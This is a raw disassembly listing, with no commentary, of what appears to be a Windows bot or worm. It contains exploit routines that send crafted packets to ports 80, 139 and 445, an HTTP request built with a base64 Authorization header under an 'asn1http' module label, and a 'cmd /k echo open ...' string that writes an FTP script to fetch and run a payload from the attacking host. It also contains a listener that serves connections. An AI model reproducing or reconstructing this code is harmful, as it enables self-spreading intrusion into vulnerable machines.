pop edi
pop esi
leave
retn
sub_402E17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402E96 proc near ; CODE XREF: sub_402EDB+81p
; sub_402EDB+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call ds:dword_42F704
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call ds:dword_42F758
cmp eax, 4
jz short loc_402EC0
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_402EC0: ; CODE XREF: sub_402E96+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_42F758
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_402E96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402EDB proc near ; CODE XREF: sub_402FB5+48p
; sub_4032B0+181p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_413E5F
mov esi, eax
pop ecx
test esi, esi
jnz short loc_402F04
xor al, al
jmp loc_402FB0
; ---------------------------------------------------------------------------
loc_402F04: ; CODE XREF: sub_402EDB+20j
push ebx
push 0
push esi
call sub_413630
push 2Fh
push offset dword_42270C
push esi
call sub_413690
push 8
lea eax, [esi+31h]
push offset dword_42273C
push eax
mov [esi+2Fh], di
call sub_413690
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_413690
push 6
add ebx, edi
push offset dword_42E33C
push ebx
call sub_413690
mov ebx, [ebp+arg_0]
push 85h
push offset dword_422684
push ebx
call sub_402E96
add esp, 48h
test al, al
jnz short loc_402F6C
loc_402F68: ; CODE XREF: sub_402EDB+B5j
xor bl, bl
jmp short loc_402FA7
; ---------------------------------------------------------------------------
loc_402F6C: ; CODE XREF: sub_402EDB+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_402E17
push [ebp+var_4]
push esi
push ebx
call sub_402E96
add esp, 1Ch
test al, al
jz short loc_402F68
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_402E17
add esp, 10h
mov bl, 1
loc_402FA7: ; CODE XREF: sub_402EDB+8Fj
push esi
call sub_413ED3
pop ecx
mov al, bl
loc_402FB0: ; CODE XREF: sub_402EDB+24j
pop edi
pop esi
pop ebx
leave
retn
sub_402EDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402FB5 proc near ; CODE XREF: sub_4032B0+167p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_422748
push [ebp+arg_0]
call ds:dword_41F1DC ; send
cmp eax, 48h
jnz short loc_402FF0
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_402E17
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_402FF0
cmp [ebp+var_20], 82h
jz short loc_402FF4
loc_402FF0: ; CODE XREF: sub_402FB5+1Bj
; sub_402FB5+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_402FF4: ; CODE XREF: sub_402FB5+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_402EDB
add esp, 0Ch
leave
retn
sub_402FB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403007 proc near ; CODE XREF: sub_403053+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul ds:dbl_41F238
call sub_414024
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul ds:dbl_41F230
fstp [esp+10h+var_10]
call sub_413F02
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_414024
inc eax
leave
retn
sub_403007 endp
; =============== S U B R O U T I N E =======================================
sub_403053 proc near ; CODE XREF: sub_4031F5+24p
var_40 = qword ptr -40h
mov eax, offset loc_41E2F3
call sub_4144F0
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_4036CA
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_403007
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_403095
push edi
push eax
lea ecx, [ebp-38h]
call sub_403645
loc_403095: ; CODE XREF: sub_403053+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_4031B2
mov ebx, [ebp+10h]
loc_4030A4: ; CODE XREF: sub_403053+156j
cmp dword ptr [ebp+10h], 3
jb short loc_4030AE
push 3
jmp short loc_4030C0
; ---------------------------------------------------------------------------
loc_4030AE: ; CODE XREF: sub_403053+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_4030B8
push 2
jmp short loc_4030C0
; ---------------------------------------------------------------------------
loc_4030B8: ; CODE XREF: sub_403053+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_4030C1
push 1
loc_4030C0: ; CODE XREF: sub_403053+59j
; sub_403053+63j
pop ebx
loc_4030C1: ; CODE XREF: sub_403053+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul ds:dbl_41F248
fstp [esp+40h+var_40]
call sub_41404B
pop ecx
pop ecx
call sub_414024
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_403100
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_403100: ; CODE XREF: sub_403053+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40316E
add [ebp-18h], eax
loc_403152: ; CODE XREF: sub_403053+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, ds:byte_422794[eax]
push eax
push 1
call sub_4034C7
inc esi
cmp esi, [ebp-1Ch]
jb short loc_403152
loc_40316E: ; CODE XREF: sub_403053+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40318C
push dword ptr [ebp+14h]
call sub_413DB0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_403520
mov [ebp-18h], edi
loc_40318C: ; CODE XREF: sub_403053+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_4031A6
sub esi, [ebp-1Ch]
loc_403197: ; CODE XREF: sub_403053+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_4034C7
dec esi
jnz short loc_403197
loc_4031A6: ; CODE XREF: sub_403053+13Fj
cmp [ebp+10h], edi
ja loc_4030A4
push 1
pop ebx
loc_4031B2: ; CODE XREF: sub_403053+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_4036CA
push ds:dword_41F240
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_403577
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_4036CA
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_403053 endp
; =============== S U B R O U T I N E =======================================
sub_4031F5 proc near ; CODE XREF: sub_4032B0+14Ap
mov eax, offset loc_41E310
call sub_4144F0
sub esp, 10h
push ebx
push esi
push edi
push offset byte_42E348
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_403053
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_413E5F
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40323F
xor bl, bl
jmp short loc_403283
; ---------------------------------------------------------------------------
loc_40323F: ; CODE XREF: sub_4031F5+44j
mov ecx, [ebp-18h]
mov eax, offset dword_41F250
cmp ecx, ebx
jnz short loc_40324D
mov ecx, eax
loc_40324D: ; CODE XREF: sub_4031F5+54j
cmp [ebp+18h], ebx
jz short loc_403255
mov eax, [ebp+18h]
loc_403255: ; CODE XREF: sub_4031F5+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_413B2A
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call ds:dword_42F758
cmp eax, esi
jz short loc_40327A
xor bl, bl
jmp short loc_40327C
; ---------------------------------------------------------------------------
loc_40327A: ; CODE XREF: sub_4031F5+7Fj
mov bl, 1
loc_40327C: ; CODE XREF: sub_4031F5+83j
push edi
call sub_413ED3
pop ecx
loc_403283: ; CODE XREF: sub_4031F5+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_4036CA
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_4036CA
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_4031F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4032B0 proc near ; CODE XREF: sub_405C33+1E6p
; DATA XREF: seg002:off_4236A4o
var_624 = byte ptr -624h
var_424 = byte ptr -424h
var_423 = byte ptr -423h
var_395 = byte ptr -395h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_BB = byte ptr 0C3h
push ebp
mov ebp, esp
sub esp, 624h
and [ebp+var_424], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_423]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp+var_424]
push offset sub_422940
push eax
call sub_413690
add esp, 0Ch
mov eax, offset byte_428290
push eax
push eax
push ds:dword_42E350
push [ebp+arg_0]
call sub_408619
pop ecx
push eax
push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
lea eax, [ebp+var_395]
push 400h
push eax
call sub_413B2A
add eax, 90h
push eax
lea eax, [ebp+var_424]
push eax
push 164h
lea eax, [ebp+var_24]
push offset sub_4227D8
push eax
call sub_402AB1
mov ecx, [eax]
xor esi, esi
mov [ebp+var_8], ecx
add esp, 30h
mov eax, [eax+4]
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_403356
xor eax, eax
jmp loc_4034BA
; ---------------------------------------------------------------------------
loc_403356: ; CODE XREF: sub_4032B0+9Dj
mov [ebp+var_C], esi
loc_403359: ; CODE XREF: sub_4032B0+1A9j
test esi, esi
jnz loc_40345F
push 6
push 1
push 2
call ds:dword_41F1D8 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403447
xor eax, eax
lea edi, [ebp+var_1A]
stosd
push [ebp+arg_A0]
stosd
stosd
stosw
mov [ebp+var_1C], 2
call ds:dword_42F708
mov [ebp+var_1A], ax
lea eax, [ebp+arg_4]
push eax
call ds:dword_42F748
mov [ebp+var_18], eax
lea eax, [ebp+var_1C]
push 10h
push eax
push ebx
call ds:dword_42F6B0
cmp eax, 0FFFFFFFFh
jz loc_40343C
cmp [ebp+arg_A0], 50h
jnz short loc_403404
mov al, [ebp+arg_BB]
sub esp, 10h
mov esi, esp
mov [ebp+var_20], esp
push 0
mov ecx, esi
mov [esi], al
call sub_4036CA
lea eax, [ebp+arg_4]
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp+arg_4]
push eax
mov ecx, esi
call sub_403706
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_4031F5
add esp, 1Ch
jmp short loc_403439
; ---------------------------------------------------------------------------
loc_403404: ; CODE XREF: sub_4032B0+112j
cmp [ebp+arg_A0], 8Bh
jnz short loc_40341E
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_402FB5
jmp short loc_403436
; ---------------------------------------------------------------------------
loc_40341E: ; CODE XREF: sub_4032B0+15Ej
cmp [ebp+arg_A0], 1BDh
jnz short loc_40343C
push [ebp+var_4]
push [ebp+var_8]
push ebx
call sub_402EDB
loc_403436: ; CODE XREF: sub_4032B0+16Cj
add esp, 0Ch
loc_403439: ; CODE XREF: sub_4032B0+152j
movzx esi, al
loc_40343C: ; CODE XREF: sub_4032B0+105j
; sub_4032B0+178j
push ebx
call ds:dword_42F7A0
test esi, esi
jnz short loc_403452
loc_403447: ; CODE XREF: sub_4032B0+C2j
push 3E8h
call ds:dword_41F058 ; Sleep
loc_403452: ; CODE XREF: sub_4032B0+195j
inc [ebp+var_C]
cmp [ebp+var_C], 2
jl loc_403359
loc_40345F: ; CODE XREF: sub_4032B0+ABj
lea ecx, [ebp+var_8]
call sub_4028D6
test esi, esi
jz short loc_4034B8
lea eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_A8]
imul eax, 3Ch
add eax, offset aAsn1http ; "asn1http"
push eax
push offset dword_422A04
lea eax, [ebp+var_624]
push 200h
push eax
call sub_413B2A
lea eax, [ebp+var_624]
push eax
call sub_409615
mov eax, [ebp+arg_A8]
add esp, 18h
imul eax, 3Ch
inc ds:dword_4236A8[eax]
lea eax, dword_4236A8[eax]
loc_4034B8: ; CODE XREF: sub_4032B0+1B9j
mov eax, esi
loc_4034BA: ; CODE XREF: sub_4032B0+A1j
pop edi
pop esi
pop ebx
leave
retn
sub_4032B0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41E2D4
loc_4034BF: ; CODE XREF: sub_41E2D4+3j
; seg000:0041E2EDj ...
push 1
call sub_4036CA
retn
; END OF FUNCTION CHUNK FOR sub_41E2D4
; =============== S U B R O U T I N E =======================================
sub_4034C7 proc near ; CODE XREF: sub_403053+110p
; sub_403053+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, ds:dword_41F240
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_4034E1
call sub_41DE40
loc_4034E1: ; CODE XREF: sub_4034C7+13j
test ebx, ebx
jbe short loc_403518
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_403645
test al, al
jz short loc_403518
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_413630
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_403518: ; CODE XREF: sub_4034C7+1Cj
; sub_4034C7+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_4034C7 endp
; =============== S U B R O U T I N E =======================================
sub_403520 proc near ; CODE XREF: sub_403053+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, ds:dword_41F240
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40353A
call sub_41DE40
loc_40353A: ; CODE XREF: sub_403520+13j
test ebx, ebx
jbe short loc_40356F
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_403645
test al, al
jz short loc_40356F
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_413690
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40356F: ; CODE XREF: sub_403520+1Cj
; sub_403520+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_403520 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403577 proc near ; CODE XREF: sub_403053+17Cp
; sub_41DE9A+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40358F
call sub_41E06C
loc_40358F: ; CODE XREF: sub_403577+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_4035A1
mov esi, [ebp+arg_8]
loc_4035A1: ; CODE XREF: sub_403577+25j
cmp edi, ebx
jnz short loc_4035C3
push ds:dword_41F240
add esi, ecx
mov ecx, edi
push esi
call sub_40373B
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40373B
jmp short loc_40363C
; ---------------------------------------------------------------------------
loc_4035C3: ; CODE XREF: sub_403577+2Cj
test esi, esi
jbe short loc_403606
cmp esi, eax
jnz short loc_403606
mov eax, [ebx+4]
test eax, eax
jnz short loc_4035D7
mov eax, offset dword_41F250
loc_4035D7: ; CODE XREF: sub_403577+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_403606
push 1
mov ecx, edi
call sub_4036CA
mov eax, [ebx+4]
test eax, eax
jnz short loc_4035F2
mov eax, offset dword_41F250
loc_4035F2: ; CODE XREF: sub_403577+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40363C
; ---------------------------------------------------------------------------
loc_403606: ; CODE XREF: sub_403577+4Ej
; sub_403577+52j ...
push 1
push esi
mov ecx, edi
call sub_403645
test al, al
jz short loc_40363C
mov eax, [ebx+4]
test eax, eax
jnz short loc_403620
mov eax, offset dword_41F250
loc_403620: ; CODE XREF: sub_403577+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_413690
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40363C: ; CODE XREF: sub_403577+4Aj
; sub_403577+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_403577 endp
; =============== S U B R O U T I N E =======================================
sub_403645 proc near ; CODE XREF: sub_403053+3Dp
; sub_4034C7+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_403657
call sub_41DE40
loc_403657: ; CODE XREF: sub_403645+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_403680
mov al, [ecx-1]
cmp al, dl
jz short loc_403680
cmp al, 0FFh
jz short loc_403680
cmp edi, edx
jnz short loc_4036BB
dec al
push edx
mov [ecx-1], al
loc_403675: ; CODE XREF: sub_403645+47j
mov ecx, esi
call sub_4036CA
loc_40367C: ; CODE XREF: sub_403645+4Bj
; sub_403645+52j
xor al, al
jmp short loc_4036C5
; ---------------------------------------------------------------------------
loc_403680: ; CODE XREF: sub_403645+19j
; sub_403645+20j ...
cmp edi, edx
jnz short loc_403699
cmp [esp+8+arg_4], dl
jz short loc_40368E
push 1
jmp short loc_403675
; ---------------------------------------------------------------------------
loc_40368E: ; CODE XREF: sub_403645+43j
cmp ecx, edx
jz short loc_40367C
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40367C
; ---------------------------------------------------------------------------
loc_403699: ; CODE XREF: sub_403645+3Dj
cmp [esp+8+arg_4], dl
jz short loc_4036B6
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_4036AB
cmp eax, edi
jnb short loc_4036C3
loc_4036AB: ; CODE XREF: sub_403645+60j
push 1
mov ecx, esi
call sub_4036CA
jmp short loc_4036BB
; ---------------------------------------------------------------------------
loc_4036B6: ; CODE XREF: sub_403645+58j
cmp [esi+0Ch], edi
jnb short loc_4036C3
loc_4036BB: ; CODE XREF: sub_403645+28j
; sub_403645+6Fj
push edi
mov ecx, esi
call sub_4037A2
loc_4036C3: ; CODE XREF: sub_403645+64j
; sub_403645+74j
mov al, 1
loc_4036C5: ; CODE XREF: sub_403645+39j
pop edi
pop esi
retn 8
sub_403645 endp
; =============== S U B R O U T I N E =======================================
sub_4036CA proc near ; CODE XREF: sub_403053+1Fp
; sub_403053+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_4036F6
mov eax, [esi+4]
test eax, eax
jz short loc_4036F6
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_4036EF
cmp al, 0FFh
jz short loc_4036EF
dec al
mov [ecx], al
jmp short loc_4036F6
; ---------------------------------------------------------------------------
loc_4036EF: ; CODE XREF: sub_4036CA+19j
; sub_4036CA+1Dj
push ecx
call sub_41450F
pop ecx
loc_4036F6: ; CODE XREF: sub_4036CA+8j
; sub_4036CA+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_4036CA endp
; =============== S U B R O U T I N E =======================================
sub_403706 proc near ; CODE XREF: sub_4032B0+13Ep
; sub_40385F+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_403645
test al, al
jz short loc_403734
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_413690
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_403734: ; CODE XREF: sub_403706+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_403706 endp
; =============== S U B R O U T I N E =======================================
sub_40373B proc near ; CODE XREF: sub_403577+39p
; sub_403577+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40374E
call sub_41E06C
loc_40374E: ; CODE XREF: sub_40373B+Cj
mov ecx, edi
call sub_40385F
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_403764
mov ebx, eax
loc_403764: ; CODE XREF: sub_40373B+25j
test ebx, ebx
jbe short loc_40379A
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_414520
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_403645
test al, al
jz short loc_40379A
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40379A: ; CODE XREF: sub_40373B+2Bj
; sub_40373B+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40373B endp
; =============== S U B R O U T I N E =======================================
sub_4037A2 proc near ; CODE XREF: sub_403645+79p
mov eax, offset loc_41E31C
call sub_4144F0
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_4037C8
mov edi, [ebp+8]
loc_4037C8: ; CODE XREF: sub_4037A2+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_4037D5
xor eax, eax
loc_4037D5: ; CODE XREF: sub_4037A2+2Fj
push eax
call sub_414855
pop ecx
mov [ebp+8], eax
jmp short loc_403806
; ---------------------------------------------------------------------------
loc_4037E1: ; DATA XREF: seg001:0041FF04o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_4037F0
xor eax, eax
loc_4037F0: ; CODE XREF: sub_4037A2+4Aj
push eax
call sub_414855
mov [ebp+8], eax
pop ecx
mov eax, offset loc_403800
retn
; ---------------------------------------------------------------------------
loc_403800: ; DATA XREF: sub_4037A2+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_403806: ; CODE XREF: sub_4037A2+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_403824
cmp eax, edi
jbe short loc_403813
mov eax, edi
loc_403813: ; CODE XREF: sub_4037A2+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_413690
add esp, 0Ch
loc_403824: ; CODE XREF: sub_4037A2+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_4036CA
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_403844
mov edi, ebx
loc_403844: ; CODE XREF: sub_4037A2+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_4037A2 endp
; =============== S U B R O U T I N E =======================================
sub_40385F proc near ; CODE XREF: sub_40373B+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40388C
mov al, [esi-1]
test al, al
jz short loc_40388C
cmp al, 0FFh
jz short loc_40388C
push 1
call sub_4036CA
push esi
call sub_413DB0
pop ecx
push eax
push esi
mov ecx, edi
call sub_403706
loc_40388C: ; CODE XREF: sub_40385F+9j
; sub_40385F+10j ...
pop edi
pop esi
retn
sub_40385F endp
; =============== S U B R O U T I N E =======================================
sub_40388F proc near ; DATA XREF: seg002:00421004o
test ds:byte_45EAEC, 1
jnz short loc_40389F
or ds:byte_45EAEC, 1
loc_40389F: ; CODE XREF: sub_40388F+7j
jmp $+5
push offset nullsub_1
call sub_4148D0
pop ecx
retn
sub_40388F endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+8]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp-6DCh]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp-0A6Ch]
xor edi, edi
push eax
push 101h
mov [ebp-28h], ebx
mov [ebp-18h], ebx
mov [ebp-228h], edi
mov [ebp-438h], edi
call ds:dword_41F1B4 ; WSAStartup
push edi
call sub_414B64
push eax
call sub_4135FF
push 0FA00h
push 471h
call sub_4123FC
add esp, 10h
mov ds:dword_42E350, eax
push edi
push ebx
push 2
call ds:dword_41F1D8 ; socket
mov esi, eax
lea eax, [ebp-28h]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp-0Ch], esi
call ds:dword_41F1B8 ; setsockopt
lea eax, [ebp-18h]
push eax
push 8004667Eh
push esi
call ds:dword_41F1BC ; ioctlsocket
mov ax, word ptr ds:dword_42E350
mov word ptr [ebp-38h], 2
push eax
mov [ebp-34h], edi
call ds:dword_41F1C0 ; ntohs
mov [ebp-36h], ax
lea eax, [ebp-38h]
push 10h
push eax
push esi
call ds:dword_41F1C4 ; bind
test eax, eax
jge short loc_403986
mov eax, ebx
jmp loc_403EAD
; ---------------------------------------------------------------------------
loc_403986: ; CODE XREF: seg000:0040397Dj
push 0Ah
push esi
call ds:dword_41F1C8 ; listen
mov [ebp-228h], ebx
mov ebx, ds:dword_41F1DC
mov [ebp-224h], esi
mov [ebp-4], esi
loc_4039A4: ; CODE XREF: seg000:004039DDj
; seg000:00403EA5j
push 41h
lea esi, [ebp-228h]
pop ecx
lea edi, [ebp-438h]
rep movsd
xor esi, esi
lea eax, [ebp-438h]
push esi
push esi
push esi
push eax
mov eax, [ebp-4]
inc eax
push eax
call ds:dword_41F1E0 ; select
cmp eax, 0FFFFFFFFh
jz loc_403EAA
xor edi, edi
cmp [ebp-4], esi
mov [ebp+8], edi
jl short loc_4039A4
loc_4039DF: ; CODE XREF: seg000:00403E9Fj
xor esi, esi
push 64h
lea eax, [ebp-29Ch]
push esi
push eax
call sub_413630
push 64h
lea eax, [ebp-0ACh]
push esi
push eax
call sub_413630
add esp, 18h
lea eax, [ebp-438h]
push eax
push edi
call sub_41E196 ; __WSAFDIsSet
test eax, eax
jz loc_403E98
cmp edi, [ebp-0Ch]
jnz short loc_403A96
lea eax, [ebp-24h]
mov dword ptr [ebp-24h], 10h
push eax
lea eax, [ebp-238h]
push eax
push dword ptr [ebp-0Ch]
call ds:dword_41F1CC ; accept
cmp eax, 0FFFFFFFFh
jz loc_403E98
xor ecx, ecx
